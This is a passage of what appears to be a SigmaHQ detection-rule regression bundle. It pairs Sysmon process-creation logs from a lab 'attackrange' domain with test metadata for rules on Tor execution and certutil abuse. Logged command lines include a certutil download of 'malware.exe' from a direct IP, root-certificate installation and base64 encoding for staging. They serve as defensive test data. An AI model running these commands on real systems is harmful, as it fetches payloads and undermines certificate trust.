\"5AA13A44-B135-68FE-035F-000000004002\",\n \"ProcessId\": 10712,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Tor Browser\\\\Browser\\\\firefox.exe\",\n \"FileVersion\": \"128.14.0\",\n \"Description\": \"Tor Browser\",\n \"Product\": \"Tor Browser\",\n \"Company\": \"Mozilla Corporation\",\n \"OriginalFileName\": \"firefox.exe\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Tor Browser\\\\Browser\\\\firefox.exe\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Tor Browser\\\\Browser\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"SHA1=9D317F48BA264346D1BA2DA10B0893B156FA69BF,MD5=66D34277F992DB4CA8561FD1A5C483E4,SHA256=683574EBC203C630AF98256516D7CBC50E270E7C5A56E1D46CB9CA671B3D9F32,IMPHASH=EEC7642CF938691D739D1F9BED0DF74D\",\n \"ParentProcessGuid\": \"5AA13A44-B135-68FE-025F-000000004002\",\n \"ParentProcessId\": 1292,\n \"ParentImage\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Tor Browser\\\\Browser\\\\firefox.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Tor Browser\\\\Browser\\\\firefox.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_tor_execution/info.yml",
"content": "id: 8e750cec-bc57-4b20-bd0a-006733558c56\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c\n title: Tor Client/Browser Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_browsers_tor_execution/62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation/d2125259-ddea-4c1c-9c22-977eb5b29cf0.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T16:54:23.873276Z\"\n }\n },\n \"EventRecordID\": 11383720,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 16:54:23.866\",\n \"ProcessGuid\": \"5AA13A44-00BF-68FD-3F35-000000004002\",\n \"ProcessId\": 8592,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil -addstore -f root C:\\\\Users\\\\ADMINI~1\\\\AppData\\\\Local\\\\Temp\\\\cert.cer\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation/info.yml",
"content": "id: 5969ddb0-b4ab-47c9-a12b-471d6c6551c8\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: d2125259-ddea-4c1c-9c22-977eb5b29cf0\n title: New Root Certificate Installed Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation/d2125259-ddea-4c1c-9c22-977eb5b29cf0.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_decode/cc9cbe82-7bc0-4ef5-bc23-bbfb83947be7.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T16:56:16.019794Z\"\n }\n },\n \"EventRecordID\": 11418519,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 16:56:16.013\",\n \"ProcessGuid\": \"5AA13A44-0130-68FD-4E35-000000004002\",\n \"ProcessId\": 5112,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil -decode file.base64 file-decoded.ext\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_decode/info.yml",
"content": "id: e582dfce-5cb3-4991-9719-9a336eb90a6f\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: cc9cbe82-7bc0-4ef5-bc23-bbfb83947be7\n title: File Decoded From Base64/Hex Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_decode/cc9cbe82-7bc0-4ef5-bc23-bbfb83947be7.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_download/19b08b1c-861d-4e75-a1ef-ea0c1baf202b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:02:36.900637Z\"\n }\n },\n \"EventRecordID\": 11537869,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:02:36.894\",\n \"ProcessGuid\": \"5AA13A44-02AC-68FD-7A35-000000004002\",\n \"ProcessId\": 6484,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil.exe -urlcache -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/refs/heads/master/atomics/T1001.002/T1001.002.yaml atomic.yaml\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_download/info.yml",
"content": "id: ee435dcb-08cb-4de1-bb70-bdd27cf0dae9\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 19b08b1c-861d-4e75-a1ef-ea0c1baf202b\n title: Suspicious Download Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_download/19b08b1c-861d-4e75-a1ef-ea0c1baf202b.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip/13e6fe51-d478-4c7e-b0f2-6da9b400a829.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:01:06.116464Z\"\n }\n },\n \"EventRecordID\": 11507958,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:01:06.109\",\n \"ProcessGuid\": \"5AA13A44-0252-68FD-7235-000000004002\",\n \"ProcessId\": 6432,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil.exe -urlcache -f http://10.0.1.14/malware.exe malware-ctl.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip/info.yml",
"content": "id: 76e024fd-9064-46ae-85f8-c524dc6b3492\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 13e6fe51-d478-4c7e-b0f2-6da9b400a829\n title: Suspicious File Downloaded From Direct IP Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip/13e6fe51-d478-4c7e-b0f2-6da9b400a829.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains/42a5f1e7-9603-4f6d-97ae-3f37d130d794.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:02:36.900637Z\"\n }\n },\n \"EventRecordID\": 11537869,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:02:36.894\",\n \"ProcessGuid\": \"5AA13A44-02AC-68FD-7A35-000000004002\",\n \"ProcessId\": 6484,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil.exe -urlcache -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/refs/heads/master/atomics/T1001.002/T1001.002.yaml atomic.yaml\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains/info.yml",
"content": "id: 507f6de5-f414-4825-b1a3-e8909fdc8700\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 42a5f1e7-9603-4f6d-97ae-3f37d130d794\n title: Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains/42a5f1e7-9603-4f6d-97ae-3f37d130d794.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode/e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:04:22.017117Z\"\n }\n },\n \"EventRecordID\": 11570013,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:04:22.010\",\n \"ProcessGuid\": \"5AA13A44-0316-68FD-8535-000000004002\",\n \"ProcessId\": 3980,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil -encode file.bat file_.base64\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode/info.yml",
"content": "id: 70e4269e-9d3c-4bfb-ad84-0b63124ad0a2\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a\n title: File Encoded To Base64 Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode/e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions/ea0cdc3e-2239-4f26-a947-4e8f8224e464.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:04:22.017117Z\"\n }\n },\n \"EventRecordID\": 11570013,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:04:22.010\",\n \"ProcessGuid\": \"5AA13A44-0316-68FD-8535-000000004002\",\n \"ProcessId\": 3980,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil -encode file.bat file_.base64\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions/info.yml",
"content": "id: 7033fe69-1fd7-4da2-b525-222c1b087107\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: ea0cdc3e-2239-4f26-a947-4e8f8224e464\n title: Suspicious File Encoded To Base64 Via Certutil.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions/ea0cdc3e-2239-4f26-a947-4e8f8224e464.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location/82a6714f-4899-4f16-9c1e-9a333544d4c3.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T17:05:11.334152Z\"\n }\n },\n \"EventRecordID\": 11585346,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 17:05:11.327\",\n \"ProcessGuid\": \"5AA13A44-0347-68FD-8B35-000000004002\",\n \"ProcessId\": 6780,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"CertUtil.exe\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CertUtil.exe\",\n \"CommandLine\": \"certutil -encode C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\Microsoft\\\\Network\\\\sr011.xml C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\Microsoft\\\\Network\\\\conv.xml\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=317E563BFC7EC87B181D5A1745E43B8F5288DBFC,MD5=A561A96624CA5CD5491BFC1609E2958A,SHA256=D5B7E8E44F37B1FBD79A79E3321244EEF946F419151374BD1BE4D6833754FED8,IMPHASH=02CB6949ACFAA0B84149D99111C16734\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location/info.yml",
